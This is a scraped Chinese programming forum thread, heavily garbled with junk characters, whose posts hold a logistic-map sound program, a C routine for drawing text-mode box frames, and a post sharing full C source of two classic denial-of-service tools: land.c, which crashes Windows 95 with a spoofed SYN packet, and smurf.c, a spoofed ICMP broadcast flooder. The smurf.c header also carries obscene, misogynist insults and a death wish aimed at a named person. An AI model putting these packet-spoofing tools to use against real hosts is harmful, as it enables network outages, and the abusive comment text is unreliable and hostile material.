  x=k*x*(1-x); /*计算x的值*/
4 _: @9 I" {: e) G0 G1 r% J3 |  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/1 Y1 }$ t; ~' z1 N- ?6 S
  delay(1000); }& a+ e+ s3 W" e* w) z$ d2 Y
  nosound(); }}6 c; x6 [) N6 p+ k" n. J! y2 J* {
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。; x: y' O, t' E& a
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>3 c% {) V: T0 l" h7 @/ |. \) ?) U) ~9 `7 f
<FONT color=#009900>/*
' Y0 v, V' w* t' k; B- Y*, [- a! o4 }) l) Q) {8 _$ @
* Short driver module2 Q8 |- J: M$ J" f, ^$ L- p! X
*0 |! A/ l& _. r/ S
*/</FONT></P><><FONT color=#009900>main()* d! p$ L& A" M- l7 f, h8 c0 C
{. |9 u9 O- G8 V& L: C* S$ s0 `
clrscr();
2 ]9 G$ W- ?3 Y; S+ ^box(1,1,23,79);: A) l4 Q2 X3 L8 p) F- x5 q
box(2,2,21,77);) t4 T9 |& A) o8 _: r* a# M) D- f
box(3,3,19,75);
( {* h* Z0 Q0 a( m# W6 Ibox(4,4,17,73);
) ]  G  q4 O' [8 Fbox(5,5,15,71);
9 c& I, D  j9 @: Zbox(6,6,13,69);
5 ~/ Z7 A& {$ z0 L8 a! ]/ P2 _) tbox(7,7,11,67);9 V8 J/ a3 Z2 K0 N6 i
box(8,8,9,65);
. b( O3 z6 l6 B5 vbox(9,9,7,63);' |% U6 L; u; g+ T$ ~
box(10,10,5,61);
% B5 ^) I9 K8 q% _  hbox(11,11,3,59);
) F* e& O2 \/ I* [9 W9 |box(12,12,1,57);
7 V5 @. i) J' A+ h" [; y& Y) mposcur(24,1);
+ N1 }) Z  D, B5 e}</FONT></P><><FONT color=#009900>/************************************************************
- J7 q6 K5 O5 e; h* BOX *
9 P6 _4 ]8 _$ \3 q- X) |*----------------------------------------------------------*
- t8 [+ @3 u: w* Written by: Jeff Ebert 7/01/87 *
8 a/ G  A- ^* H3 Q) F5 Z: }- G# H$ E* Modified by: xxxxxxxxxx *
* j9 Z0 ?5 B4 _/ e! R, f2 k4 T) V* *
4 v. u' R" J9 ?3 j& c' k7 \* Please modify me! *
. S& Q  L0 l$ `3 [  m5 s7 B* Possible Enhancements include but are not limited t *: R# Z* X, X, v$ W
* 1) Variable box character styles [1 line or 2] *6 x8 O+ M* l: R5 Q8 m
* 2) Error checking *
7 B% s& s) P# O! }/ s7 m8 h* 3) Color options *  x& I7 d% E& b2 ]/ i
* *
3 U: @, o) {- T/ A* *' V1 b$ k! c# W1 X% Y" n
* This function builds a simple double frame for a menu. *+ ?5 v7 L; O+ G& ^8 p8 w
* The function is passed the parameters for the upper *' o* H/ |8 \' o4 s1 ?4 A: w, F, \
* left corner row, upper left corner column the height *% a( I  f7 K4 E
* of the frame and the width. *
: w) T1 n: ~4 @) @9 u- F* *
9 t! S9 J' y, k************************************************************/' t. g6 g8 t: G
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
& j# h4 K* r7 _9 [# m) g% G1 ]#define URCOR 1870 P& G  H& w8 O* q% m; [
#define LLCOR 200
( M" T; O% z7 z! \4 d6 d6 G#define LRCOR 188
" G4 E; \/ r$ Z" o* b#define VBAR 186" r9 A5 b/ X3 t) d
#define HBAR 205
! Z0 \# P/ X* l: H+ [) m#define ESC 27</FONT></P><><FONT color=#009900>& _" l! E& P, Q8 s
box(row, col, hgt, wdth)' L# X! t9 w) @1 o/ p
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{% m* [4 d/ z  [
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);6 m* A3 k. ~  [# g
putchar(ULCOR);
1 J3 S: L1 M! H; R9 H7 s. Ifor(x = col + 1; x &lt;=(col + wdth -1); x++)
# T/ U  M" [( D% d7 [1 T1 ?# Vputchar(HBAR);2 p2 E9 ~' J5 N: u+ n! D9 q
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){6 c$ V9 \1 ?5 {9 `/ l9 F+ Y
poscur(x,col);
& x( m* M6 i1 }: Q. s7 F$ oputchar(VBAR);. c. f6 ~% G) S4 Z: y' d. n' f5 N
poscur(x,col+wdth);- i5 k) x2 w! z4 {5 {  @! i
putchar(VBAR);
% S* {% F! w9 {3 z2 g2 I}
6 _* L% r: i5 a& ~poscur(x,col);
5 T: `. k: a) k" t7 rputchar(LLCOR);
4 n8 m2 P, g# `- S% [+ L& Rfor(x= col + 1; x &lt;=(col + wdth -1); x++)3 u* f8 b* x0 X
putchar(HBAR);
, J- c! z4 d+ `& ?putchar(LRCOR);
' l- ^8 l8 W$ w! |}</FONT></P><><FONT color=#009900>/********************************************************
6 z' Z) ~9 {% |  R! ^& [0 `$ W* POSCUR *
" G3 O7 C9 m7 P) L+ I* V$ s*------------------------------------------------------*) Y- D9 y% i( M0 q
* This function positions the cursor at the specified *" A: {- Q! b$ b9 }; V
* x,y coordinate. It uses the ANSI standard ESCAPE *
1 w9 t. P8 G  v1 r; T/ [% S* sequence to produce the desired effect. Its not the *  \4 ]- ]. j/ C  s3 _- z& e
* fastest way to position the cursor, but perhaps the *& K3 ]$ y, e$ D8 H% J- @* Y5 Y0 u
* most portable. *! E. ^  M! h$ [  D0 e  G) j
* *
  z9 x0 X$ I  G0 T9 P8 `6 @********************************************************/# O: _9 ?+ H1 s4 m& }; W. z  J$ |3 k
poscur(xcor,ycor)3 I3 r+ Z+ y$ g- P2 ~5 l8 W
int xcor,ycor;8 U( i' |* F+ a6 R" G
{ / z# T# w1 @! y  ?# p& r
printf("%c[%d;%dH",ESC,xcor,ycor);
: m+ C" ?  u1 m" l/ k3 R  B; g}</FONT></P><><FONT color=#009900>
$ c* w# V$ d2 R* L/********************************************************5 j9 p6 m4 ^: [( i( f, `
* CLRSCR *
( d# C/ A( v$ W# h2 l* ?*------------------------------------------------------*3 p& R, ^$ K/ l" \" e' B
* This function positions the cursor at the specified *! ^& N$ x# I6 i* C9 e. j2 ^
* x,y coordinate. It uses the ANSI standard ESCAPE *
% [8 D3 u0 E, A5 L( F- j8 o* sequence to produce the desired effect. Its not the *
# d) M4 {6 M/ Q1 k* fastest way to position the cursor, but perhaps the *
7 S' R" N( B# Q5 s7 f8 u6 g" H* most portable. *2 d/ d# o: F1 T6 `! P
* *% Y+ ^  b6 y7 x( m0 s2 w
********************************************************/3 c8 k/ n. D# Z( f2 Y. `  B' _
clrscr()5 b; J% \5 W+ |+ f$ F! R
{ 4 n" m' C( i. `1 ]2 ?
printf("%c[2J",ESC);
5 }; [* I2 i* N5 |. ~/ F# S7 t: h9 Z}</FONT>
8 B* |: \3 ]$ x2 S</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
1 w% b8 F, G$ s6 g6 e! N这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自2 v" {5 j* L' u+ r; ~8 p9 D
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>& X0 w" U, S  @
<FONT color=#009900>/* land.c by m3lt, FLC
% z! Q( v" Q8 C; X! ^- fcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
8 h+ Q* a1 d0 A* Z3 U. K5 J$ f#include <NETDB.H>
" A! d" i& o. T, p#include <ARPA inet.h>
1 c, c6 r9 H5 U8 D( @* K  k( g#include <NETINET in.h>
# m/ j: }1 v7 p, y' T#include <SYS types.h>
8 r1 K9 A; A: f. e( H4 P0 e#include <SYS socket.h>
( t/ ?- k- d3 T: P#include <NETINET ip.h>
$ T, |) n$ c, [: ]7 w#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头- i/ x" p8 y- w. R, ?
struct pseudohdr
+ a4 w" w. v! i{, d$ p6 o% m6 I+ z" D7 N1 k$ ?
struct in_addr saddr;
7 O3 P$ e& |7 Z2 F* sstruct in_addr daddr;# j2 h9 ~. y' _
u_char zero;
& q. G; ?! X: B% ^* Ju_char protocol;
1 W6 n6 b7 ~1 B6 fu_short length;
& M+ C; k! L3 m) e- nstruct tcphdr tcpheader;
1 L9 b; g. i; f- }};</FONT></P><><FONT color=#009900>//计算IP校验和
3 X3 O; J% j6 M4 Q! y3 zu_short checksum(u_short * data,u_short length)
2 y. }5 b6 [( h8 G( f0 o{3 O5 g* ?9 a% ?$ |0 g4 C2 b
register long value;+ i/ D6 B6 n  P! T( z% l
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)  u* N9 d6 d0 _" n7 p
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)! @: r! z9 M9 b; T) M% p: |! ^% S# m  A
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
# L* o: `$ u# {; j}</FONT></P><><FONT color=#009900>
. s* N. y! L* hint main(int argc,char * * argv)
  `7 n8 a5 m- ?{
  l' \9 f& r/ Xstruct sockaddr_in sin;, C6 {3 s9 A* r4 C/ ~/ I/ u2 b. C0 H6 f
struct hostent * hoste;3 U9 Q' Y9 k1 v% A2 w7 E9 p
int sock;: q3 M9 B. f" i4 r) X! }* h
char buffer[40];& Z- P  S; c1 N( i" \: Y
struct iphdr * ipheader=(struct iphdr *) buffer;: Q' L! y2 s% c6 Q- A9 l2 h
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));# ~. f0 {5 [. }4 J. ?6 u
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
3 D7 z' E" c* `9 x4 U+ v* K- j{, `: e# I4 _$ G- G1 ^5 N
fprintf(stderr,"usage: %s IP port\n",argv[0]);1 W: e4 c  A- a2 H4 F
return(-1);4 |6 R2 ^& c1 X; e
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));- b# ~! Q: m4 N3 E' ~/ X
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)0 G1 C! Q6 ^/ d. F7 G% c7 _5 k
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);7 Q' b' p: Y5 K. ?  x% T
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
; J! n; W$ i8 U9 O, S: `; [6 J{
4 e8 G  `6 i$ f& Hfprintf(stderr,"unknown host %s\n",argv[1]);3 j# V; {+ [$ x8 ~" R6 F  v# ?3 f2 Z& O
return(-1);# J2 Q+ q1 A) v# w" y2 H
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)% u5 Y+ D. v9 s! J/ Q6 }
{0 e9 }6 t4 A. n+ }& n+ `
fprintf(stderr,"unknown port %s\n",argv[2]);: D+ v& K/ c' R# {) ~
return(-1);
4 F1 Q# g6 M9 x; T* J7 u}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限2 k4 e7 s' R; b; ?# }
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)1 E1 H- b$ ^3 P- J6 e7 d  d
{
* C5 E4 s1 M, R" k. Sfprintf(stderr,"couldn't allocate raw socket\n");
9 A2 R3 n! j' z  g2 D$ d: x% Preturn(-1);% {! |8 F  ~& ^
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
4 j" g! p$ z$ l) }* _) vipheader-&gt;version=4;
* N+ N- o' J) H( kipheader-&gt;ihl=sizeof(struct iphdr)/4;/ J) |7 s$ B7 ^9 c6 i* \2 t
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
6 C6 R9 w) {: r6 X( s: ]ipheader-&gt;id=htons(0xF1C);
. P' X+ Z* r! a" s. ]1 G" p0 l3 hipheader-&gt;ttl=255;
/ E. J0 N8 O% L; dipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同# p. y0 n2 i8 [$ E4 R6 K8 w
ipheader-&gt;saddr=sin.sin_addr.s_addr;  c# b5 F) {/ W5 y6 g
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同' D. n3 v7 s$ |% \+ Y
tcpheader-&gt;th_sport=sin.sin_port;( |+ d" H9 n6 D6 L' i
tcpheader-&gt;th_dport=sin.sin_port;
# b# y" v2 Q1 F& N- qtcpheader-&gt;th_seq=htonl(0xF1C);- u7 E# G# c& Y0 q- t2 W' r
tcpheader-&gt;th_flags=TH_SYN;
- M! w/ U1 ^  [tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;' O7 ^) {$ H* K
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));! v3 i+ f+ H5 p! C) B
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
2 Q! K; w$ D2 cpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
8 l8 I5 d7 B: u8 l" Z! J& r; Npseudoheader.protocol=6;6 v% s$ O! M% L" r2 L$ I. h! H  l% |
pseudoheader.length=htons(sizeof(struct tcphdr));3 i8 I, a% t: ]$ T( I1 }
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
8 }: V4 V! N- |0 `; Btcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
% ?3 h5 m# D1 D/ m+ ]) ^( i0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1), o5 V% E. l# Y& P# }+ d& e9 A1 W$ f
{
0 L5 o# c0 Q! ?' |7 nfprintf(stderr,"couldn't send packet\n");
7 g6 c5 E+ B& zreturn(-1);
4 K# P3 z  D2 [7 l: q}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
3 d1 E( P! l' [# T  m/ Rreturn(0);
+ ?# }! t3 f  O  m5 ]7 i% U}</FONT></P><>
( `/ }9 H" E# U$ `. Q2 Smurf( L# {, [' y4 ^0 x9 C3 O/ d1 o
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数3 m: X3 H& S! g1 S& i
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
: x: n9 {% M) Z# a+ X的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些% i4 p( `; F; c2 [
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
6 i# |1 l; b* h9 b! \% q) R(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变( H4 g. D- |) G
成不可能(没有WINS服务器时)。</P><P>/*( ~# L7 e) D5 V" w8 N
*  N* V' p- K9 E- T
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
: x9 O: q9 ~0 T$ K+ X: ~* j9 l*
# ]5 _* n; K0 K4 ^: f* spoofs icmp packets from a host to various broadcast addresses resulting
9 f* @0 D, v5 N* in multiple replies to that host from a single packet.6 n$ ^( i9 O$ y$ m; M0 u
*& s+ ^) G" w# m9 O6 C
* mad head t5 O) C9 U. ?) x9 I# n, t/ {
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  B8 K# p2 s$ L* MissSatan for swallowing, napster for pimping my sister, the guy that( c3 o  D' p  c' `; M# N9 A
* invented vaseline, fyber for trying, knowy, old school #havok, kain
2 {* t; ]' Y# f* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
7 ~( r$ p5 P9 A- ]* have missed (you know who you are).
! S) I, [- a* Q' U" G+ a8 h*
) ^, l2 u9 j; F# w+ q. U* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy6 b4 Z! {9 E9 j; R
* thing he is (he's -almost- as stubborn as me, still i managed to pick up) F  O7 Y8 E) r1 e# j; e$ ~0 c* o
* half the cheque).
0 l5 Z8 C8 B: a0 Z7 Z: U*6 D: U0 ]3 D( N0 e8 G6 P8 o4 Y: M
* and a special hi to Todd, face it dude, you're fucking awesome.
3 i' Y3 L: H/ r: s0 a*' _! k% D4 U. s' n& k. }+ {/ {# c9 Y
* mad anal t
/ m( C% @: v% C5 U& y* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps1 C4 T$ K7 I  W, O8 r8 D
* because they plain suck, Rolex for being a twit, everyone that( ^+ X- n: J: \2 q; h
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
, w( o# a8 C) S8 z* partner, #cha0s, sedriss for having an ego in inverse proportion to
6 [. l5 q7 W% @* his penis and anyone that can't pee standing up -- you don't know what
& s, _% |; q4 [3 m- X" C5 h# B9 E9 V( }* your missing out on.  ~3 [, f: d# ~  ]  h
*  J) F7 W) }# j( r4 ~1 G" w0 k4 K
* and anyone thats ripped my code (diff smurf.c axcast.c is rather# z+ t& `8 w0 P2 n
* interesting).
2 w! C/ ~9 {0 l6 {  j*
% |5 U% A6 t$ ~3 q7 \; q* `# X* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill/ m5 b. Z( }) e7 G
* Robbins for trying to steal my girlfriend. Not only did you show me
# `! {0 z  x! R: ?/ a  V* no respect but you're a manipulating prick who tried to take away the
' f  J5 i& s  f* most important thing in the world to me with no guilt whatsoever, and
1 J6 m1 Z4 f9 |# ?3 N* for that I wish you nothing but pain. Die.* M8 d) j+ r) h* n8 e' n2 h6 H& h+ I
*
* \3 g8 j7 e" Y3 u* disclaimer:
: X7 v6 G" V3 O6 K# c* I cannot and will not be held responsible nor legally bound for the# }& ^1 P7 F$ g7 q, X$ r+ m- r4 u1 Z
* malicious activities of individuals who come into possession of this
, A$ E8 e, o9 q2 o7 ]; Q& s9 i2 L( S* program and I refuse to provide help or support of any kind and do NOT: J  Q' y% p0 v% Q3 \; f- t0 j
* condone use of this program to deny service to anyone or any machine.  Z, K/ v7 S9 A5 F8 n
* This is for educational use only. Please Don't abuse this.
$ n2 Y$ W, A+ J' g. ~4 w*
! v: e8 a- r2 p: `3 }1 k2 [7 Y  |3 J* Well, i really, really, hate this code, but yet here I am creating another
' G; h" t  b4 T# I1 r$ \* disgusting version of it. Odd, indeed. So why did I write it? Well, I," X7 y" x$ e1 q8 N) N1 h9 ?$ u
* like most programmers don't like seeing bugs in their code. I saw a few
' D/ C3 l( P4 W' ~1 b4 h& p3 n2 N* things that should have been done better or needed fixing so I fixed  u" V# O( W; o/ G: a
* them. -shrug-, programming for me as always seemed to take the pain away4 U/ o6 a5 u' O0 s/ b# S; U
* ...$ [+ F, ^1 T" Q: `
*
4 f& E% Z2 W5 [*
* O8 _5 J  t9 M% \+ B- U. M9 x*/</P><P>#include <SIGNAL.H>
& K! c; k1 D" S* I" s, q#include <STDIO.H>6 g$ u, k6 Y8 }% x
#include <STDLIB.H>
4 x1 x2 p/ b! T) _. q#include <SYS socket.h>  o! e' v2 F: V( W' j1 i* J& g
#include <SYS types.h>1 _# s4 g! [6 A" j& n: H  e
#include <NETINET in.h>
- e$ q) R! U" P0 R- I; d#include <NETINET ip.h>
- C4 g! X5 f& L6 g$ c  b#include <NETINET ip_icmp.h>! F+ u/ l; @( Z+ ]" q$ `
#include <NETDB.H>
; M% Y$ {, g2 U' Z  Q. }$ x#include <CTYPE.H>
6 e+ G" U# m& p/ _" v! Z2 U. X#include <ARPA inet.h>
! K: L+ p2 c; r$ e+ f#include <UNISTD.H>
9 K) i+ F" R  s! |' }#include <STRING.H></P><P>void banner(void);2 }2 ?/ M9 c; _+ f. q; l1 J4 U
void usage(char *);
& X, C0 `+ j& {& Rvoid smurf(int, struct sockaddr_in, u_long, int);. n9 p: _/ i1 H0 J: M
void ctrlc(int);* S6 j5 n/ r% p# t$ ?# q* g
unsigned short in_chksum(u_short *, int);</P><P>/* stamp *// F8 ]' G8 y9 R' b
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])' v! c- k# j7 H- C5 Z
{
$ }0 ?, a4 Z2 r$ jstruct sockaddr_in sin;5 y& a0 I/ y6 [8 g; j7 `
struct hostent *he;( ~8 }  t! Q" h. X
FILE *bcastfile;
- ?) [- w- b* Dint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
: z  S) b/ e+ j! Z6 |% Bchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();/ o7 _/ l( i* F% b0 V
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {3 D5 J" m2 Y) J, N
perror("resolving source host");/ k; a" e6 |7 r
exit(-1);% d& ?1 |# u0 u# d" A
}
  W$ Y) Y* B4 B) W% ^1 g% [memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
: e, g8 G- G' G  u3 psin.sin_family = AF_INET;
0 K6 o7 L9 r8 m: m. X$ `sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);) z( \6 T7 |+ c: Y
delay = atoi(argv[4]);
* G' K+ p) T' T0 Q7 wpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {. h! O9 I  |+ d) K8 q4 t: ?, S
perror("opening bcast file");( ]9 U! L0 a0 r1 r6 e: V
exit(-1);
$ H' r. q2 s6 N5 N}
/ _( {5 g; F% y5 d9 rx = 0;
+ l2 P5 {' l+ {while (!feof(bcastfile)) {
% w4 B4 C( J8 P  t6 u+ xfgets(buf, 32, bcastfile);
% M. Q8 m% _' Bif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
/ ?8 u0 e7 F) e. X  b) F9 nfor (i = 0; i &lt; strlen(buf); i++)
/ C2 ^" v8 C- ~if (buf == '\n') buf = '\0';& B4 g# @- d! W: \, O4 |
bcastaddr[x] = malloc(32);$ {, ]( C9 ~3 M$ g; g  }
strcpy(bcastaddr[x], buf);, _5 h# N" L0 O6 H2 f4 t8 E
x++;
$ f4 H% y. D" e8 A+ p/ U/ v7 v}
" y! c7 R* u* o& h* A0 d- qbcastaddr[x] = 0x0;
# \& `5 x8 i, R5 Vfclose(bcastfile);</P><P>if (x == 0) {
' G4 R" Q" f4 s! Z8 Ofprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
8 X- d& ~% O" a4 M/ nexit(-1);
1 L5 |& r: V2 |3 q}
3 z8 w* U% V: V6 x8 o2 x$ \. gif (pktsize &gt; 1024) {
1 R; u9 N' o! J1 v9 Tfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");. {3 y/ ]& b% R0 E9 u* J
exit(-1);& f0 Z2 q; N7 s9 i' b
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& R+ H2 b! ^. K6 o/ z( zperror("getting socket");, |. N. J: U& Z, J, P
exit(-1);$ m' `/ o: A9 n2 [: M' z; O1 Z
}0 [" i* c8 D+ H5 X% o! D& E1 P) R
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {5 O/ f7 U* O9 H! j! E5 W! @8 Y
if (!(i % 25)) { printf("."); fflush(stdout); }
3 j; c) J. W# P. w$ }8 hsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
: m) L8 Q/ H* l8 L8 d4 R0 Acycle++;. p. D5 w* ~2 r, U
if (bcastaddr[cycle] == 0x0) cycle = 0;
* b! k) u; n; N6 t& l/ zusleep(delay);8 A/ d# x6 H% n$ Q. a8 L5 M1 s
}
# }4 U6 o3 T4 H  E: T- v* Wputs("\n\n");
! Y( s0 E: ^% W) M, v0 m1 p# `+ wreturn 0;
: y* v0 v4 m: b}</P><P>void banner (void)1 Z- m" H5 z0 |; H$ l  X
{
$ }% L2 L( ^9 ~4 V) Q/ cputs("\nsmurf.c v4.0 by TFreak\n");9 P" E! G$ H! D. W; ^( F. D
}</P><P>void usage (char *prog)/ r, O# ~5 Q- F5 c( g- r! o  c
{
) e) H. }9 A% V3 A7 jfprintf(stderr, "usage: %s <TARGET><BCAST file>"
: o8 P0 c3 X3 K: N3 e"<NUM packets> <PACKET delay><PACKET size>\n\n"
" `# \" N3 L6 y- s. l( G8 @"target = address to hit\n"
% d* S. h5 ]& O: Z+ O"bcast file = file to read broadcast addresses from\n"
% A9 z( s6 M# y"num packets = number of packets to send (0 = flood)\n"
# P) O0 u& b* ^0 X2 ~4 V; ^"packet delay = wait between each packet (in ms)\n"
. R4 v+ P5 i- v- h+ B0 W"packet size = size of packet (&lt; 1024)\n\n", prog);
# U7 T: A+ X' Oexit(-1);! {: G5 l2 R2 q) M# o4 g
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize), j" W& h5 _& ]
{
2 V* u4 y9 R' k, }: f4 M' ^1 l, U$ _( dstruct iphdr *ip;1 s* e6 `4 x! `
struct icmphdr *icmp;2 ]9 A9 Q# B. Z* G' z6 }
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  A& G- k/ `4 [! X- oip = (struct iphdr *)packet;
) g# H/ t; i& a' b  O/ Iicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);' O% L  R; {% v
ip-&gt;ihl = 5;# q; N( e. W3 y5 a7 k
ip-&gt;version = 4;0 {% C5 K/ W/ m  I( a
ip-&gt;ttl = 255;* v. q* L/ T- W8 \# \9 f! V
ip-&gt;tos = 0;+ W# p" M  G% [) S5 n) ~
ip-&gt;frag_off = 0;
8 d. {' u# S4 y; J; Oip-&gt;protocol = IPPROTO_ICMP;5 L! [' T2 L5 `8 g0 O. K
ip-&gt;saddr = sin.sin_addr.s_addr;
; @2 @- ~/ T9 dip-&gt;daddr = dest;" P+ T/ F; [+ K4 D* M7 V& z
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));/ [8 G- [" j! }6 Y
icmp-&gt;type = 8;
/ h$ ]; v$ v1 Aicmp-&gt;code = 0;8 O/ o( q& [1 I8 ]
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,% q; _) y" I* Y: J
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */# i  n. I; P  j. M6 N. @5 ~% w
}</P><P>void ctrlc (int ignored)) V# w5 T* Y+ a/ G% H
{
+ R$ z7 a2 h; m& O7 mputs("\nDone!\n");7 ]7 n* j( _9 m3 M8 Y  ?; ]  Z8 v
exit(1);- a, v$ f. Z" n8 Q- m1 d
}</P><P>unsigned short in_chksum (u_short *addr, int len)
5 D: S+ O2 S0 U2 e3 T+ w% K{! w1 O7 W; y; _" L& R3 L: l
register int nleft = len;
  h9 }4 {+ [: S  c' p( iregister int sum = 0;8 S5 U  o1 f) N$ p) m
u_short answer = 0;</P><P>while (nleft &gt; 1) {6 ?* a7 p9 Y2 g/ h: p8 S) w
sum += *addr++;
/ v7 H. y6 t' U2 k+ I5 a0 m  f0 W, Onleft -= 2;
4 D0 S6 G% ~+ h% G6 v+ D% b* k}</P><P>if (nleft == 1) {+ w  i& W- ?6 j" @& E3 z
*(u_char *)(&amp;answer) = *(u_char *)addr;
1 m# s3 u9 U- r7 k1 csum += answer;
3 j8 r3 A  ~3 E0 _" r  f7 ~; u# m9 c}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
3 S, Q( q( i. ]$ R9 w: y; h. W3 Vsum += (sum &gt;&gt; 16);
: O+ X1 m. c3 w5 U- J2 i8 ~- ganswer = ~sum;' \4 }( k  T$ ~9 A
return(answer);# y% u. i1 L; V3 V: B, @4 u0 l
}</P><P>
